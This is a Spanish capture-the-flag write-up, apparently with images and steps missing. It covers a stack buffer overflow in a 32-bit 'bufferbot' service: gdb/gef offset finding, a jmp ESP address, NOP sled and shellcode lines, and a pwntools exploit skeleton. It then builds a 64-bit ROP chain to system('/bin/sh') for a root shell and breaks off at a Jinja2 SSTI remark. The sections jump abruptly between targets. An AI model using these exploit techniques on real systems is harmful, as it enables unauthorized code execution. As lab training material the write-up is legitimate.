Pues al parecer si es el servicio que corre por el puerto 9000, si nos conectamos con nc podremos ver:
file bufferbot
Resultado
bufferbot: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=05901d675607336b0810e7f6aa491fab899737c3, for GNU/Linux 3.2.0, not stripped
Podemos ver que es un binario compilado para Linux de 32 bit, vamos a analizarlo con gdb:
Ahora corramos el binario y mandemos muchas A para ver el comportamiento del binario, ejecutamos en binario poniendo r.
Luego enviamos muchas AAAA mediante nc:
Por ultimo podemos ver como el binario es propenso a Buffer Overflow, ya que nos permite sobrescribir áreas de memoria adyacentes:
Como siguiente paso lo que are es verificar las protecciones del binario:
Y nos encontramos con que no tiene ninguna protección, ahora lo primero que are es crear la estructura básica de un exploit para explotar un Buffer Overflow:
#!/usr/bin/python3
from pwn import *
def exploit():
host="127.0.0.1" # IP a conectar
port= # Puerto a conectar
offset = # Tamaño exacto antes de EIP
buffer = # Relleno antes de sobrescribir EIP
eip = # Dirección de jmp ESP en little-endian para 32-bit
nops = # NOP sled para estabilidad
# Shellcode generado con msfvenom
# Estructura final del payload
esp = nops + shellcode # NOP sled seguido del shellcode
payload = buffer + eip + esp # Buffer final
# Envío del exploit al servicio objetivo
try:
print("\n[*] Iniciando Ataque...")
conn=remote(host,port)
conn.sendline(payload)
conn.close()
print("[+] Payload enviado correctamente!!!\n")
except Exception as e:
print(f"\n[-] Error al enviar el payload: {e}\n")
if __name__ == '__main__':
exploit()
Lo que vamos a hacer es un shellcode injection, ya que las protecciones permite ejecución en la pila, lo que aremos es utilizar el comando pattern create que en GEF genera una cadena de caracteres única de 1024 bytes, esto nos ayudara a identificar con precisión la dirección en la que ocurre la sobreescritura de la dirección de retorno u otros registros críticos.
pattern create
Resultado
[+] Generating a pattern of 1024 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
[+] Saved as '$_gef0'
Ahora lo que aremos es volver a correr el programa escribiendo de nuevo r en gdb y como datos mandamos el payload que nos dio pattern create, de primeras no nos funciona por que el payload es muy pequeño, así que simplemente creamos uno más grande:
pattern create 9999
Ahora si enviamos el payload:
Podemos ver como el binario se rompe, ahora bien lo que debemos ver en este paso es el $eip:
$eip : 0x6b6e6161 ("aank"?)
Lo que queremos saber es cuantos caracteres necesitamos antes de sobrescribir el $eip, esto lo podemos contar manualmente o usar el comando pattern de nuevo:
pattern offset $eip -l 9999
Resultado
[+] Searching for '61616e6b'/'6b6e6161' with period=4
[+] Found at offset 1337 (little-endian search) likely
Nos dice que en total son 1337 caracteres, que son necesarios introducir en el binario para luego sobrescribir el $eip, ahora sabiendo esto podemos verificarlo de la siguiente manera:
Por lo tanto, ahora estamos seguro de que podemos sobrescribir el $eip y que son necesarios 1337 caracteres para llegar a ese punto, ademas la pila o $esp vale:
Herramienta de Metasploit para convertir instrucciones de ensamblador en opcodes.
Escribimos jmp ESP y nos devuelve FFE4, que es el código en hexadecimal de la instrucción en x86.
Esto nos ayuda a identificar jmp ESP en un binario vulnerable.
objdump -D bufferbot | grep "ff e4"
Resultado
8049559: ff e4 jmp *%esp
Segundo -> objdump
objdump -D: Desensambla un binario para ver su código máquina.
grep "ff e4": Busca la instrucción jmp ESP en el binario bufferbot.
Nos muestra una dirección (0x8049559), donde jmp ESP está presente en la memoria.
Algo que debemos tener en cuenta es que en sistemas de 32 bits, las direcciones de memoria se almacenan en orden "little-endian", lo que significa que los bytes menos significativos van primero.
Dirección original: 0x08049559
Orden little-endian: "\x59\x95\x04\x08"
🔥 ¿Para qué se usa?
Se sobrescribe EIP (Extended Instruction Pointer) con la dirección de jmp ESP para redirigir la ejecución a nuestra shellcode.
eip = b"\x59\x95\x04\x08" # Dirección de jmp ESP en little-endian para 32-bit
nops = b"\x90" * 32 # NOP sled para estabilidad
NOP Sled (nops): Se colocan 32 bytes de \x90 antes del shellcode para evitar problemas de precisión al ejecutar la carga útil.
Ahora vamos a crear nuestro shellcode con msfvenom, un shellcode es un código en ensamblador diseñado para ejecutarse en un sistema víctima. Su nombre viene de "shell" porque típicamente abre una shell inversa o bind shell.
Por lo cual podemos intuir que estamos de nuevo frente a un Buffer Overflow, lo descargaremos y pasaremos al contenedor Kali.
Como podemos apreciar en la imagen, el binario es de 64 bits, ademas de que NX esta habilitado lo cual nos impide la ejecución del un shellcode, ahora abramos el binario con gdb:
gdb ./shell -q
Ahora como NX esta habilitado, otro vector de entrada que se nos puede ocurrir es ROP, para ver los posibles gadgets primero enumeramos las funciones del programa:
info functions
Podemos notar 2 funciones interesantes: _x1 y _x2, aunque lo primero que aremos es ir creando el exploit, debemos tener en cuenta que esta vez ejecutaremos el exploit en el mismo servidor, dado que si usamos librerías como pwntools nos dará error por no estar disponible esta librería en el servidor, revisando un poco encontramos otra librería que nos puede ser útil llamada pexpect.
La librería pwntools no de importa a diferencia de pexpect, ademas de que pip no esta instalado.
Ahora bien, volvamos a gdb para ver la función _x1:
disas _x1
Resultado
Esta función solo hace un pop r13 que servirá para meter un valor en el registro r13, hacemos lo mismo con _x2:
La función _x2 es más útil ya que está moviendo el tope de la pila (rsp), al registro rdi, y después esta saltando a r13, recordando la convención de llamadas linux x64, van los argumentos del 1 al 6: rdi,rsi,rdx,rcx,r8,r9 después esta haciendo un salto a r13, en la función _x1, tenía una dirección que estaba haciendo un pop r13, lo que nos permite ingresar un valor a r13, por lo tanto en r13 podríamos cargar la dirección de system@plt y en rsp un "/bin/sh\x00" para que se convierta en el primer argumento rdi y así se convierta en un system(/bin/sh) y me de una consola interactiva.
Primero vamos a buscar el desfase total hasta rsp que es donde vamos a cargar la cadena "/bin/sh\x00", así que vamos a crear una cadena especial con gdb.
pattern create 300
Resultado
[+] Generating a pattern of 300 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[+] Saved as '$_gef1'
Enviemos la cadena:
Vemos que los registros se están sobrescribiendo así que buscamos el desfase hasta rsp.
Nos dice que son 136 bytes, para asegurarnos de que este en el tope de rsp vamos a sustraer la cantidad de bytes de la cadena /bin/sh\x00 del desfase de rsp, en nuestro caso seria 136 - 8 = 128 de desfase, después enviamos la cadena /bin/sh\x00, luego de sigue ingresar la dirección de system a r13, por lo cual usamos la dirección de pop r13 para poder ingresar un valor en r13, para saber la dirección de system debemos ejecutar el siguiente comando:
objdump -D shell | grep system
Resultado
La dirección de system@plt seria -> 0x401040, finalmente cargamos la dirección de la función _x2 para que ejecute los valores cargados en los registros, de tal forma que el exploit nos quedaría de la siguiente manera:
Subimos el exploit al servidor mediante el modulo upload y ejecutamos:
Y lo hemos logrado, ahora si somos root, si queremos una Bash simplemente lo escribimos.
bash
Y eso seria todo.
Intentemos obtener un RCE aprovechando este SSTI, un repositorio que nos podría ayudar es el siguiente tambien tienen una pagina web, esta pagina nos ayuda a determinar frente a que tipo de inyección estamos, en nuestro caso después de probar algunas inyecciones veo que estamos frente a un Jinja2 ya que si por ejemplo inyectamos:
Si quiere saber más sobre Buffer Overflow puede ver .